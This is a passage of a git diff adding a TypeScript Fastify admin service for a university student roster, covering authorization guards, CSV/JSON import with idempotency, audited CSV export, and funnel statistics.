newUuid(), + // A HEAD would run an export handler (and write its audit entry) for no body. + exposeHeadRoutes: false, + }); + + void app.register(cors, { + origin: parseCorsOrigins(deps.env.CORS_ORIGINS), + // Lets a browser client read the CSV file name and tell a replay from a first run. + exposedHeaders: ['content-disposition', 'idempotent-replayed'], + }); + void app.register(rateLimit, { + max: deps.env.RATE_LIMIT_MAX, + timeWindow: deps.env.RATE_LIMIT_WINDOW, + }); + + const metrics = createMetricsRegistry('admin-service'); + registerHttpMetrics(app, metrics); + + // Everything under /v1/admin is student personal data: never cacheable by a + // browser, proxy or CDN. + app.addHook('onSend', async (request, reply) => { + if (request.url.startsWith('/v1/')) reply.header('cache-control', 'no-store'); + }); + + app.setErrorHandler((error: FastifyError | ZodError, request, reply) => { + if (error instanceof ZodError) { + reply.status(400).send({ + error: { + code: 'VALIDATION_ERROR', + message: 'Request failed validation', + request_id: request.id, + details: error.issues.map((issue) => ({ + path: issue.path.join('.'), + message: issue.message, + })), + }, + }); + return; + } + + if (isAppError(error)) { + reply.status(error.statusCode).send(error.toResponse(request.id)); + return; + } + + const fastifyStatus = (error as { statusCode?: number }).statusCode; + if (fastifyStatus !== undefined && fastifyStatus >= 400 && fastifyStatus < 500) { + reply.status(fastifyStatus).send({ + error: { + code: STATUS_TO_CODE[fastifyStatus] ?? 'VALIDATION_ERROR', + message: error.message, + request_id: request.id, + }, + }); + return; + } + + request.log.error({ err: error }, 'unhandled error'); + const appError = toAppError(error); + reply.status(appError.statusCode).send(appError.toResponse(request.id)); + }); + + app.setNotFoundHandler((request, reply) => { + reply.status(404).send({ + error: { code: 'NOT_FOUND', message: 'Route not found', request_id: request.id }, + }); + }); + + // Probes are scraped by infrastructure and stay outside the rate limiter. + healthRoute(app, deps); + metricsRoute(app, metrics); + + // The API routes are registered inside a child plugin on purpose. Rate + // limiting attaches to routes through an `onRoute` hook that only exists + // once the (asynchronously loaded) rate-limit plugin has finished loading, so + // a route declared directly on `app` right after `app.register(rateLimit)` is + // silently NOT limited. A child plugin is guaranteed to load afterwards. + void app.register(async (api) => { + listStudentsRoute(api, deps); + importStudentsRoute(api, deps); + getStudentRoute(api, deps); + funnelRoute(api, deps); + exportStudentsRoute(api, deps); + }); + + return app; +} diff --git a/services/admin/src/env.ts b/services/admin/src/env.ts new file mode 100644 index 0000000..e6a4a59 --- /dev/null +++ b/services/admin/src/env.ts @@ -0,0 +1,28 @@ +import { + baseEnvSchema, + databaseEnvSchema, + httpEnvSchema, + loadEnv, + supabaseAuthEnvSchema, +} from '@atlas/config'; +import { z } from 'zod'; + +/** + * No messaging config: this service never publishes or consumes events, and + * nothing in it sends email or any other outbound message. + */ +export const adminServiceEnvSchema = z.object({ + ...baseEnvSchema.shape, + ...databaseEnvSchema.shape, + ...httpEnvSchema.shape, + ...supabaseAuthEnvSchema.shape, +}); + +export type AdminServiceEnv = z.infer; + +export function loadAdminServiceEnv( + source: Record = process.env, +): AdminServiceEnv { + const normalized = { ...source, PORT: source.PORT ?? source.ADMIN_SERVICE_PORT }; + return loadEnv('admin-service', adminServiceEnvSchema, normalized); +} diff --git a/services/admin/src/http/guard.ts b/services/admin/src/http/guard.ts new file mode 100644 index 0000000..f4b4103 --- /dev/null +++ b/services/admin/src/http/guard.ts @@ -0,0 +1,87 @@ +import type { FastifyReply, FastifyRequest } from 'fastify'; +import { getActor, requireAuth } from '@atlas/auth-kit'; +import { + ADMIN_ROSTER_ORG_TYPES, + ADMIN_ROSTER_ROLES, + adminOrgParamsSchema, + type AdminRosterRole, +} from '@atlas/types'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../app.js'; +import { findOrgMembership } from '../repo/membership.js'; + +/** Who the caller is *within the organization named in the URL*. */ +export interface OrgScope { + organizationId: string; + userId: string; + role: AdminRosterRole; +} + +declare module 'fastify' { + interface FastifyRequest { + orgScope?: OrgScope; + } +} + +function isRosterRole(role: string): role is AdminRosterRole { + return (ADMIN_ROSTER_ROLES as readonly string[]).includes(role); +} + +function isRosterOrgType(type: string): boolean { + return (ADMIN_ROSTER_ORG_TYPES as readonly string[]).includes(type); +} + +/** + * `preParsing` hook for every `/v1/admin/organizations/:orgId/...` route. It + * runs before the body is read, so an unauthenticated or unauthorized caller + * never makes the service buffer and parse a large upload. It deliberately + * runs after `onRequest`, where the rate limiter sits: throttling comes first. + * + * 1. 401 unless the bearer token verifies (`requireAuth`). + * 2. 400 unless `:orgId` is a UUID. + * 3. 404 unless the caller is a member of that organization. A non-member + * gets the same answer for an organization that does not exist and for one + * that does, so the API never confirms another tenant's ids. + * 4. 403 for a member whose role is not owner/admin, or whose organization + * is not a university. + * + * Authorization comes from `organization_members`, not from the token's `org` + * / `role` claims: the claims describe only the user's oldest membership and + * lag behind revocations until the token expires. + */ +export function orgAdminGuard(deps: AppDeps) { + const authenticate = requireAuth(deps.tokenVerifier); + + return async function orgAdminGuardHook( + request: FastifyRequest, + reply: FastifyReply, + ): Promise { + await authenticate(request, reply); + const actor = getActor(request); + const { orgId } = adminOrgParamsSchema.parse(request.params); + + const membership = await findOrgMembership(deps.db, orgId, actor.user_id); + if (!membership) { + throw new AppError('NOT_FOUND', 'Organization not found'); + } + if (!isRosterRole(membership.role)) { + throw new AppError('FORBIDDEN', 'Only organization owners and admins can use this endpoint'); + } + if (!isRosterOrgType(membership.organizationType)) { + throw new AppError( + 'FORBIDDEN', + 'Roster management is only available for university organizations', + ); + } + + request.orgScope = { organizationId: orgId, userId: actor.user_id, role: membership.role }; + }; +} + +/** The scope the guard attached. Throws if a route forgot to install the guard. */ +export function getOrgScope(request: FastifyRequest): OrgScope { + if (!request.orgScope) { + throw new AppError('INTERNAL_ERROR', 'Request is missing its organization scope'); + } + return request.orgScope; +} diff --git a/services/admin/src/http/routes/export-students.ts b/services/admin/src/http/routes/export-students.ts new file mode 100644 index 0000000..fad9652 --- /dev/null +++ b/services/admin/src/http/routes/export-students.ts @@ -0,0 +1,77 @@ +import type { FastifyInstance } from 'fastify'; +import { ADMIN_MAX_EXPORT_ROWS, exportStudentsQuerySchema, type RosterStudent } from '@atlas/types'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; +import { DEFAULT_EXPORT_RATE_PER_MINUTE } from '../../limits.js'; +import { rosterToCsv } from '../../lib/export-csv.js'; +import { AUDIT_ACTIONS, recordAudit, type AuditToken } from '../../repo/audit.js'; +import { listRoster } from '../../repo/roster.js'; +import { getOrgScope, orgAdminGuard } from '../guard.js'; + +const EXPORT_PAGE_SIZE = 1_000; + +export function exportStudentsRoute(app: FastifyInstance, deps: AppDeps): void { + app.get( + '/v1/admin/organizations/:orgId/export.csv', + { + preParsing: orgAdminGuard(deps), + config: { + rateLimit: { + max: deps.limits?.exportRatePerMinute ?? DEFAULT_EXPORT_RATE_PER_MINUTE, + timeWindow: '1 minute', + }, + }, + }, + async (request, reply) => { + const { organizationId, userId } = getOrgScope(request); + const { bom, ...filter } = exportStudentsQuerySchema.parse(request.query); + const maxRows = deps.limits?.exportMaxRows ?? ADMIN_MAX_EXPORT_ROWS; + + // Bounded, not streamed: the export is built in memory up to `maxRows` + // (ADMIN_MAX_EXPORT_ROWS by default), so the audit entry below records the exact row + // count and is written *before* any data leaves the service. + const students: RosterStudent[] = []; + let cursor: string | undefined; + do { + const page = await listRoster(deps.db, organizationId, filter, { + limit: EXPORT_PAGE_SIZE, + cursor, + }); + students.push(...page.items); + if (students.length > maxRows) { + throw new AppError( + 'PAYLOAD_TOO_LARGE', + `An export may contain at most ${maxRows} rows; narrow it with search or filters`, + { details: { max_rows: maxRows } }, + ); + } + cursor = page.nextCursor ?? undefined; + } while (cursor); + + // Which filters were applied, never their values: a search term is often an email address. + const filtersApplied: AuditToken[] = []; + if (filter.search !== undefined) filtersApplied.push('search'); + if (filter.has_resume !== undefined) filtersApplied.push('has_resume'); + if (filter.application_status !== undefined) filtersApplied.push('application_status'); + + await recordAudit(deps.db, { + organizationId, + actorUserId: userId, + action: AUDIT_ACTIONS.studentsExport, + traceId: request.id, + metadata: { format: 'csv', row_count: students.length, filters: filtersApplied }, + }); + + const csv = rosterToCsv(students, { bom }); + reply + .status(200) + .header('content-type', 'text/csv; charset=utf-8') + .header( + 'content-disposition', + `attachment; filename="students-${new Date().toISOString().slice(0, 10)}.csv"`, + ) + .header('x-content-type-options', 'nosniff') + .send(csv); + }, + ); +} diff --git a/services/admin/src/http/routes/funnel.ts b/services/admin/src/http/routes/funnel.ts new file mode 100644 index 0000000..3379146 --- /dev/null +++ b/services/admin/src/http/routes/funnel.ts @@ -0,0 +1,29 @@ +import type { FastifyInstance } from 'fastify'; +import { adminFunnelQuerySchema, type AdminFunnelResponse } from '@atlas/types'; +import type { AppDeps } from '../../app.js'; +import { computeFunnel } from '../../repo/funnel.js'; +import { getOrgScope, orgAdminGuard } from '../guard.js'; + +export function funnelRoute(app: FastifyInstance, deps: AppDeps): void { + app.get( + '/v1/admin/organizations/:orgId/funnel', + { preParsing: orgAdminGuard(deps) }, + async (request, reply) => { + const { organizationId } = getOrgScope(request); + const range = adminFunnelQuerySchema.parse(request.query); + + const counts = await computeFunnel(deps.db, organizationId, range); + + const response: AdminFunnelResponse = { + organization_id: organizationId, + range: { + from: range.from ? new Date(range.from).toISOString() : null, + to: range.to ? new Date(range.to).toISOString() : null, + }, + generated_at: new Date().toISOString(), + ...counts, + }; + reply.status(200).send(response); + }, + ); +} diff --git a/services/admin/src/http/routes/get-student.ts b/services/admin/src/http/routes/get-student.ts new file mode 100644 index 0000000..07d5d20 --- /dev/null +++ b/services/admin/src/http/routes/get-student.ts @@ -0,0 +1,27 @@ +import type { FastifyInstance } from 'fastify'; +import { adminStudentParamsSchema, type AdminStudentResponse } from '@atlas/types'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; +import { findRosterStudent } from '../../repo/roster.js'; +import { getOrgScope, orgAdminGuard } from '../guard.js'; + +export function getStudentRoute(app: FastifyInstance, deps: AppDeps): void { + app.get( + '/v1/admin/organizations/:orgId/students/:studentId', + { preParsing: orgAdminGuard(deps) }, + async (request, reply) => { + const { organizationId } = getOrgScope(request); + const { studentId } = adminStudentParamsSchema.parse(request.params); + + // Scoped by organization in the query itself: a student id from another + // roster is indistinguishable from one that does not exist. + const student = await findRosterStudent(deps.db, organizationId, studentId); + if (!student) { + throw new AppError('NOT_FOUND', 'Student not found'); + } + + const response: AdminStudentResponse = { student }; + reply.status(200).send(response); + }, + ); +} diff --git a/services/admin/src/http/routes/health.ts b/services/admin/src/http/routes/health.ts new file mode 100644 index 0000000..04b2230 --- /dev/null +++ b/services/admin/src/http/routes/health.ts @@ -0,0 +1,17 @@ +import type { FastifyInstance } from 'fastify'; +import { pingDatabase } from '@atlas/db'; +import type { HealthResponse } from '@atlas/types'; +import type { AppDeps } from '../../app.js'; + +export function healthRoute(app: FastifyInstance, deps: AppDeps): void { + app.get('/health', async (_request, reply) => { + const dbOk = await pingDatabase(deps.sql); + const body: HealthResponse = { + status: dbOk ? 'ok' : 'degraded', + service: 'admin-service', + version: '0.1.0', + checks: { database: dbOk ? 'ok' : 'fail' }, + }; + reply.status(dbOk ? 200 : 503).send(body); + }); +} diff --git a/services/admin/src/http/routes/import-students.ts b/services/admin/src/http/routes/import-students.ts new file mode 100644 index 0000000..eb9ab5f --- /dev/null +++ b/services/admin/src/http/routes/import-students.ts @@ -0,0 +1,147 @@ +import type { FastifyInstance, FastifyRequest } from 'fastify'; +import { z } from 'zod'; +import { getActor } from '@atlas/auth-kit'; +import type { ImportStudentsResponse } from '@atlas/types'; +import { AppError, IDEMPOTENCY_HEADER, sha256Hex } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; +import { DEFAULT_IMPORT_RATE_PER_MINUTE } from '../../limits.js'; +import { + csvToRawRows, + jsonToRawRows, + planImport, + validateImportRows, + type RawImportRow, +} from '../../lib/import-rows.js'; +import { AUDIT_ACTIONS, recordAudit } from '../../repo/audit.js'; +import { runIdempotent } from '../../repo/idempotency.js'; +import { applyRosterImport } from '../../repo/import.js'; +import { getOrgScope, orgAdminGuard } from '../guard.js'; + +/** + * 5,000 rows of maximum-length fields is a few MB; Vercel rejects request + * bodies over 4.5 MB anyway, so 4 MiB is the most this route can be asked for. + */ +export const IMPORT_BODY_LIMIT_BYTES = 4 * 1024 * 1024; + +const idempotencyKeySchema = z.string().min(8).max(200); + +function requireIdempotencyKey(request: FastifyRequest): string { + const raw = request.headers[IDEMPOTENCY_HEADER]; + if (typeof raw !== 'string' || raw.length === 0) { + throw new AppError('IDEMPOTENCY_KEY_REQUIRED', `${IDEMPOTENCY_HEADER} header is required`); + } + return idempotencyKeySchema.parse(raw); +} + +/** `preParsing` hook: fail fast on a missing key, before the body is read. */ +async function checkIdempotencyKey(request: FastifyRequest): Promise { + requireIdempotencyKey(request); +} + +function mediaType(request: FastifyRequest): string { + return (request.headers['content-type'] ?? '').split(';')[0]?.trim().toLowerCase() ?? ''; +} + +function extractRows(request: FastifyRequest): { source: 'csv' | 'json'; rows: RawImportRow[] } { + const type = mediaType(request); + if (type === 'text/csv') { + if (typeof request.body !== 'string') { + throw new AppError('VALIDATION_ERROR', 'Request body is empty'); + } + return { source: 'csv', rows: csvToRawRows(request.body) }; + } + // Fastify also parses text/plain on its own; only CSV and JSON are meaningful here. + if (type !== 'application/json' && !type.endsWith('+json')) { + throw new AppError('UNSUPPORTED_MEDIA_TYPE', 'Send the roster as text/csv or application/json'); + } + if (request.body === undefined || request.body === null) { + throw new AppError('VALIDATION_ERROR', 'Request body is empty'); + } + return { source: 'json', rows: jsonToRawRows(request.body) }; +} + +export function importStudentsRoute(app: FastifyInstance, deps: AppDeps): void { + // Fastify has no CSV parser. The body is kept as a string and parsed (and + // size-checked) by `csvToRawRows`. Registered on the child plugin's scope, so + // it applies to this route group only. Multipart upload is intentionally not + // supported: a browser can send a File straight as the text/csv body. + app.addContentTypeParser( + 'text/csv', + { parseAs: 'string', bodyLimit: IMPORT_BODY_LIMIT_BYTES }, + (_request, body, done) => done(null, body), + ); + + app.post( + '/v1/admin/organizations/:orgId/students/import', + { + // Auth, membership and the idempotency header are all checked before the + // (large) body is read. + preParsing: [orgAdminGuard(deps), checkIdempotencyKey], + bodyLimit: IMPORT_BODY_LIMIT_BYTES, + config: { + rateLimit: { + max: deps.limits?.importRatePerMinute ?? DEFAULT_IMPORT_RATE_PER_MINUTE, + timeWindow: '1 minute', + }, + }, + }, + async (request, reply) => { + const { organizationId, userId } = getOrgScope(request); + const actor = getActor(request); + const idempotencyKey = requireIdempotencyKey(request); + + // Enforces the row cap (413) and the header / envelope shape (400). + const { source, rows: rawRows } = extractRows(request); + const plan = planImport(validateImportRows(rawRows)); + + const result = await runIdempotent( + deps.db, + { + // Keys are private to one caller in one organization. + scope: `admin.students.import:${organizationId}:${userId}`, + key: idempotencyKey, + userId: actor.user_id, + requestHash: sha256Hex(JSON.stringify(rawRows)), + }, + async (tx) => { + const applied = await applyRosterImport(tx, organizationId, plan.rows); + + const body: ImportStudentsResponse = { + total_rows: rawRows.length, + created: applied.created, + updated: applied.updated, + skipped: applied.unchanged + plan.duplicates + applied.noPlatformAccount, + skipped_breakdown: { + unchanged: applied.unchanged, + duplicate_in_file: plan.duplicates, + no_platform_account: applied.noPlatformAccount, + }, + errors: plan.errors, + ignored_fields: plan.ignoredFields, + }; + + // Same transaction as the import: no audit row without the change, no change without one. + await recordAudit(tx, { + organizationId, + actorUserId: actor.user_id, + action: AUDIT_ACTIONS.studentsImport, + traceId: request.id, + metadata: { + source, + total_rows: body.total_rows, + created: body.created, + updated: body.updated, + skipped: body.skipped, + errors: body.errors.length, + }, + }); + + return { status: 200, body }; + }, + ); + + if (result.replayed) reply.header('idempotent-replayed', 'true'); + reply.status(result.status).send(result.body); + }, + ); +} diff --git a/services/admin/src/http/routes/list-students.ts b/services/admin/src/http/routes/list-students.ts new file mode 100644 index 0000000..49a7f1c --- /dev/null +++ b/services/admin/src/http/routes/list-students.ts @@ -0,0 +1,24 @@ +import type { FastifyInstance } from 'fastify'; +import { listAdminStudentsQuerySchema, type ListAdminStudentsResponse } from '@atlas/types'; +import type { AppDeps } from '../../app.js'; +import { listRoster } from '../../repo/roster.js'; +import { getOrgScope, orgAdminGuard } from '../guard.js'; + +export function listStudentsRoute(app: FastifyInstance, deps: AppDeps): void { + app.get( + '/v1/admin/organizations/:orgId/students', + { preParsing: orgAdminGuard(deps) }, + async (request, reply) => { + const { organizationId } = getOrgScope(request); + const { limit, cursor, ...filter } = listAdminStudentsQuerySchema.parse(request.query); + + const page = await listRoster(deps.db, organizationId, filter, { limit, cursor }); + + const response: ListAdminStudentsResponse = { + items: page.items, + next_cursor: page.nextCursor, + }; + reply.status(200).send(response); + }, + ); +} diff --git a/services/admin/src/index.ts b/services/admin/src/index.ts new file mode 100644 index 0000000..16e2432 --- /dev/null +++ b/services/admin/src/index.ts @@ -0,0 +1,36 @@ +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createDatabase } from '@atlas/db'; +import { createLogger, createVercelHandler, withServerlessEnvDefaults } from '@atlas/utils'; +import { buildApp } from './app.js'; +import { loadAdminServiceEnv } from './env.js'; + +const env = loadAdminServiceEnv(withServerlessEnvDefaults()); +const logger = createLogger({ + service: 'admin-service', + level: env.LOG_LEVEL, + pretty: env.LOG_PRETTY, +}); +const { db, sql, close } = createDatabase({ + url: env.DATABASE_URL, + maxConnections: env.DATABASE_POOL_MAX, +}); +const tokenVerifier = createTokenVerifierConfig(env); + +export const app = buildApp({ db, sql, env, logger, tokenVerifier }); + +// Vercel invokes this module as a serverless request handler — it never calls +// app.listen(), so requests are dispatched onto the app directly. +export default createVercelHandler(app); + +if (!process.env.VERCEL) { + const shutdown = async (signal: string): Promise => { + logger.info({ signal }, 'shutting down'); + await app.close(); + await close(); + process.exit(0); + }; + process.on('SIGTERM', () => void shutdown('SIGTERM')); + process.on('SIGINT', () => void shutdown('SIGINT')); + + await app.listen({ host: env.HOST, port: env.PORT }); +} diff --git a/services/admin/src/limits.ts b/services/admin/src/limits.ts new file mode 100644 index 0000000..a626b9f --- /dev/null +++ b/services/admin/src/limits.ts @@ -0,0 +1,12 @@ +/** Caps the service enforces itself. Hard limits on payloads live in @atlas/types (`ADMIN_MAX_*`). */ +export interface ServiceLimits { + /** Rows in one CSV export. Defaults to `ADMIN_MAX_EXPORT_ROWS`. */ + exportMaxRows?: number; + /** Requests per client IP per minute. */ + importRatePerMinute?: number; + exportRatePerMinute?: number; +} + +/** Bulk endpoints are expensive and carry personal data, so they get a much tighter limit than the global one. */ +export const DEFAULT_IMPORT_RATE_PER_MINUTE = 10; +export const DEFAULT_EXPORT_RATE_PER_MINUTE = 10; diff --git a/services/admin/src/repo/audit.ts b/services/admin/src/repo/audit.ts new file mode 100644 index 0000000..4d29dcc --- /dev/null +++ b/services/admin/src/repo/audit.ts @@ -0,0 +1,38 @@ +import { schema, type Queryable } from '@atlas/db'; + +export const AUDIT_ACTIONS = { + studentsImport: 'admin.students.import', + studentsExport: 'admin.students.export', +} as const; + +export type AuditAction = (typeof AUDIT_ACTIONS)[keyof typeof AUDIT_ACTIONS]; + +/** + * Metadata is restricted by type to counts, flags and a closed set of tokens. + * Free-form strings are not allowed, so an email address, a name or a search + * term cannot end up in the audit trail by accident (docs/09 § Data protection). + */ +export type AuditToken = 'csv' | 'json' | 'search' | 'has_resume' | 'application_status'; +export type AuditMetadata = Record; + +export interface AuditEntry { + organizationId: string; + actorUserId: string; + action: AuditAction; + /** Request id, so the entry can be joined to the request log. */ + traceId: string; + metadata: AuditMetadata; +} + +/** Appends one row to `audit_logs`. Pass a transaction to commit it atomically with the audited change. */ +export async function recordAudit(db: Queryable, entry: AuditEntry): Promise { + await db.insert(schema.auditLogs).values({ + organizationId: entry.organizationId, + actorUserId: entry.actorUserId, + action: entry.action, + resourceType: 'student_roster', + resourceId: entry.organizationId, + traceId: entry.traceId, + metadata: entry.metadata, + }); +} diff --git a/services/admin/src/repo/funnel.ts b/services/admin/src/repo/funnel.ts new file mode 100644 index 0000000..b4c7774 --- /dev/null +++ b/services/admin/src/repo/funnel.ts @@ -0,0 +1,149 @@ +import { and, desc, eq, gte, isNotNull, isNull, lt, sql, type SQL } from 'drizzle-orm'; +import { schema, type Database } from '@atlas/db'; +import { + emptyApplicationStatusCounts, + type AdminFunnelResponse, + type ApplicationStatus, +} from '@atlas/types'; + +const { students, users, organizationMembers, resumes, applications } = schema; + +export interface FunnelRange { + /** Inclusive lower bound (ISO-8601), or undefined for no lower bound. */ + from?: string | undefined; + /** Exclusive upper bound (ISO-8601), or undefined for no upper bound. */ + to?: string | undefined; +} + +type FunnelCounts = Omit; + +/** + * Aggregate funnel for one organization: a fixed number of grouped queries, no + * per-student work. Everything past the roster counts is restricted to + * students with sharing enabled (members of the organization, live accounts), + * and application counts to applications attributed to this organization. + */ +export async function computeFunnel( + db: Database, + organizationId: string, + range: FunnelRange, +): Promise { + const inRange = (column: Parameters[0]): SQL[] => { + const bounds: SQL[] = []; + if (range.from) bounds.push(gte(column, range.from)); + if (range.to) bounds.push(lt(column, range.to)); + return bounds; + }; + + // The students whose own activity may be counted. + const sharing = db + .select({ userId: students.userId }) + .from(students) + .innerJoin(users, and(eq(users.userId, students.userId), isNull(users.deletedAt))) + .innerJoin( + organizationMembers, + and( + eq(organizationMembers.organizationId, students.organizationId), + eq(organizationMembers.userId, students.userId), + ), + ) + .where(eq(students.organizationId, organizationId)) + .as('sharing'); + + // Each student's most recent scored resume (one row per student). + const latestScored = db + .selectDistinctOn([resumes.userId], { userId: resumes.userId, atsScore: resumes.atsScore }) + .from(resumes) + .innerJoin(sharing, eq(sharing.userId, resumes.userId)) + .where( + and(eq(resumes.status, 'parsed'), isNotNull(resumes.atsScore), ...inRange(resumes.createdAt)), + ) + .orderBy(resumes.userId, desc(resumes.createdAt)) + .as('latest_scored'); + + const applicationScope = (): SQL[] => [ + eq(applications.organizationId, organizationId), + ...inRange(applications.createdAt), + ]; + + const [rosterRows, resumeRows, scoreRows, statusRows, appliedRows] = await Promise.all([ + db + .select({ + size: sql`count(*)::int`, + signedUp: sql`(count(*) filter (where ${users.userId} is not null))::int`, + sharingEnabled: sql`(count(*) filter (where ${users.userId} is not null and ${organizationMembers.userId} is not null))::int`, + }) + .from(students) + .leftJoin(users, and(eq(users.userId, students.userId), isNull(users.deletedAt))) + .leftJoin( + organizationMembers, + and( + eq(organizationMembers.organizationId, students.organizationId), + eq(organizationMembers.userId, students.userId), + ), + ) + .where(eq(students.organizationId, organizationId)), + + db + .select({ withResume: sql`count(distinct ${resumes.userId})::int` }) + .from(resumes) + .innerJoin(sharing, eq(sharing.userId, resumes.userId)) + .where(and(...inRange(resumes.createdAt))), + + db + .select({ + scored: sql`count(*)::int`, + average: sql`round(avg(${latestScored.atsScore})::numeric, 1)::float8`, + }) + .from(latestScored), + + db + .select({ + status: applications.status, + count: sql`count(*)::int`, + students: sql`count(distinct ${applications.userId})::int`, + }) + .from(applications) + .innerJoin(sharing, eq(sharing.userId, applications.userId)) + .where(and(...applicationScope())) + .groupBy(applications.status), + + db + .select({ students: sql`count(distinct ${applications.userId})::int` }) + .from(applications) + .innerJoin(sharing, eq(sharing.userId, applications.userId)) + .where(and(...applicationScope())), + ]); + + const byStatus = emptyApplicationStatusCounts(); + const studentsByStatus = new Map(); + let total = 0; + for (const row of statusRows) { + byStatus[row.status] = row.count; + studentsByStatus.set(row.status, row.students); + total += row.count; + } + + const roster = rosterRows[0]; + return { + roster: { + size: roster?.size ?? 0, + signed_up: roster?.signedUp ?? 0, + sharing_enabled: roster?.sharingEnabled ?? 0, + }, + resumes: { + students_with_resume: resumeRows[0]?.withResume ?? 0, + students_with_ats_score: scoreRows[0]?.scored ?? 0, + avg_ats_score: scoreRows[0]?.average ?? null, + }, + applications: { + total, + students_applied: appliedRows[0]?.students ?? 0, + by_status: byStatus, + }, + offers: { + applications: byStatus.offer, + students: studentsByStatus.get('offer') ?? 0, + }, + }; +} diff --git a/services/admin/src/repo/idempotency.ts b/services/admin/src/repo/idempotency.ts new file mode 100644 index 0000000..582aee1 --- /dev/null +++ b/services/admin/src/repo/idempotency.ts @@ -0,0 +1,103 @@ +import { and, eq, lt } from 'drizzle-orm'; +import { schema, type Database, type Transaction } from '@atlas/db'; +import { AppError } from '@atlas/utils'; + +/** How long a stored response is replayable. */ +export const IDEMPOTENCY_TTL_MS = 24 * 60 * 60 * 1000; + +export interface IdempotentResponse { + status: number; + body: Record; +} + +export interface IdempotencyContext { + /** Namespaces the key; include everything that must not share keys (org, caller). */ + scope: string; + key: string; + userId: string; + /** Digest of the request, to tell a retry from a key reused for different input. */ + requestHash: string; +} + +export interface IdempotentResult extends IdempotentResponse { + replayed: boolean; +} + +/** + * Runs `work` at most once per (scope, key) using the `idempotency_keys` + * table, and replays the stored response on a retry. + * + * The reservation, the work and the stored response commit in one transaction, + * so there is no window where the work is done but the key is not recorded (or + * the reverse). Two concurrent requests with the same key serialize on the + * primary key: the second blocks on its INSERT until the first commits, then + * finds the finished row and replays it. If the work throws, the reservation + * rolls back with it and the client may retry with the same key. + */ +export async function runIdempotent( + db: Database, + context: IdempotencyContext, + work: (tx: Transaction) => Promise, +): Promise { + return db.transaction(async (tx) => { + const now = new Date(); + const keys = schema.idempotencyKeys; + + // An expired key is a free slot, not a conflict. + await tx + .delete(keys) + .where( + and( + eq(keys.scope, context.scope), + eq(keys.key, context.key), + lt(keys.expiresAt, now.toISOString()), + ), + ); + + const reserved = await tx + .insert(keys) + .values({ + scope: context.scope, + key: context.key, + userId: context.userId, + requestHash: context.requestHash, + expiresAt: new Date(now.getTime() + IDEMPOTENCY_TTL_MS).toISOString(), + }) + .onConflictDoNothing() + .returning({ key: keys.key }); + + if (reserved.length === 0) { + const [existing] = await tx + .select() + .from(keys) + .where(and(eq(keys.scope, context.scope), eq(keys.key, context.key))) + .limit(1); + if (!existing) { + throw new AppError( + 'CONFLICT', + 'The idempotency key is being used by another request; retry', + ); + } + if (existing.requestHash !== context.requestHash) { + throw new AppError( + 'IDEMPOTENCY_KEY_REUSED', + 'This idempotency key was already used for a different request', + ); + } + if (existing.responseStatus === null || existing.responseBody === null) { + throw new AppError( + 'CONFLICT', + 'A request with this idempotency key is still in progress; retry', + ); + } + return { replayed: true, status: existing.responseStatus, body: existing.responseBody }; + } + + const response = await work(tx); + await tx + .update(keys) + .set({ responseStatus: response.status, responseBody: response.body }) + .where(and(eq(keys.scope, context.scope), eq(keys.key, context.key))); + return { replayed: false, ...response }; + }); +} diff --git a/services/admin/src/repo/import.ts b/services/admin/src/repo/import.ts new file mode 100644 index 0000000..a28da07 --- /dev/null +++ b/services/admin/src/repo/import.ts @@ -0,0 +1,142 @@ +import { and, eq, inArray, isNull, sql } from 'drizzle-orm'; +import { schema, type Transaction } from '@atlas/db'; +import type { ValidImportRow } from '../lib/import-rows.js'; + +const { students, users } = schema; + +/** Keeps every statement far below Postgres' 65,535 bind-parameter limit. */ +const LOOKUP_CHUNK = 1_000; +const WRITE_CHUNK = 500; + +function chunks(items: readonly T[], size: number): T[][] { + const out: T[][] = []; + for (let start = 0; start < items.length; start += size) + out.push(items.slice(start, start + size)); + return out; +} + +export interface ApplyImportResult { + created: number; + updated: number; + /** Already on the roster with these values (or created concurrently by another import). */ + unchanged: number; + /** No live platform account has this email. */ + noPlatformAccount: number; +} + +/** + * Applies de-duplicated, validated rows to the roster, inside the caller's + * transaction. Set-based: the number of statements grows with rows / 500, not + * with rows. + * + * Each row is linked to the platform account with the same email + * (case-insensitive, soft-deleted accounts excluded). The `students` table + * requires a user, so a row with no account is counted, not stored. + * + * Re-importing is idempotent: an existing row is only touched when a provided + * value differs, and a blank cell never clears a stored value. + */ +export async function applyRosterImport( + tx: Transaction, + organizationId: string, + rows: readonly ValidImportRow[], +): Promise { + const userIdByEmail = new Map(); + const lowerEmail = sql`lower(${users.email})`; + for (const part of chunks( + rows.map((row) => row.email), + LOOKUP_CHUNK, + )) { + const found = await tx + .select({ userId: users.userId, email: lowerEmail }) + .from(users) + .where(and(isNull(users.deletedAt), inArray(lowerEmail, part))); + for (const account of found) userIdByEmail.set(account.email, account.userId); + } + + const existingByUserId = new Map< + string, + { studentId: string; program: string | null; graduationYear: number | null } + >(); + for (const part of chunks([...userIdByEmail.values()], LOOKUP_CHUNK)) { + const found = await tx + .select({ + studentId: students.studentId, + userId: students.userId, + program: students.department, + graduationYear: students.graduationYear, + }) + .from(students) + .where(and(eq(students.organizationId, organizationId), inArray(students.userId, part))); + for (const entry of found) existingByUserId.set(entry.userId, entry); + } + + const toInsert: (typeof students.$inferInsert)[] = []; + const toUpdate: { studentId: string; program: string | null; graduationYear: number | null }[] = + []; + const result: ApplyImportResult = { created: 0, updated: 0, unchanged: 0, noPlatformAccount: 0 }; + + for (const row of rows) { + const userId = userIdByEmail.get(row.email); + if (userId === undefined) { + result.noPlatformAccount += 1; + continue; + } + const current = existingByUserId.get(userId); + if (!current) { + toInsert.push({ + organizationId, + userId, + department: row.program ?? null, + graduationYear: row.graduationYear ?? null, + }); + continue; + } + const programChanged = row.program !== undefined && row.program !== current.program; + const yearChanged = + row.graduationYear !== undefined && row.graduationYear !== current.graduationYear; + if (programChanged || yearChanged) { + toUpdate.push({ + studentId: current.studentId, + program: row.program ?? null, + graduationYear: row.graduationYear ?? null, + }); + } else { + result.unchanged += 1; + } + } + + for (const part of chunks(toInsert, WRITE_CHUNK)) { + // A concurrent import may have inserted the same (organization, user) pair + // since the lookup above; the unique index decides and the loser counts it + // as unchanged rather than failing the whole import. + const inserted = await tx + .insert(students) + .values(part) + .onConflictDoNothing({ target: [students.organizationId, 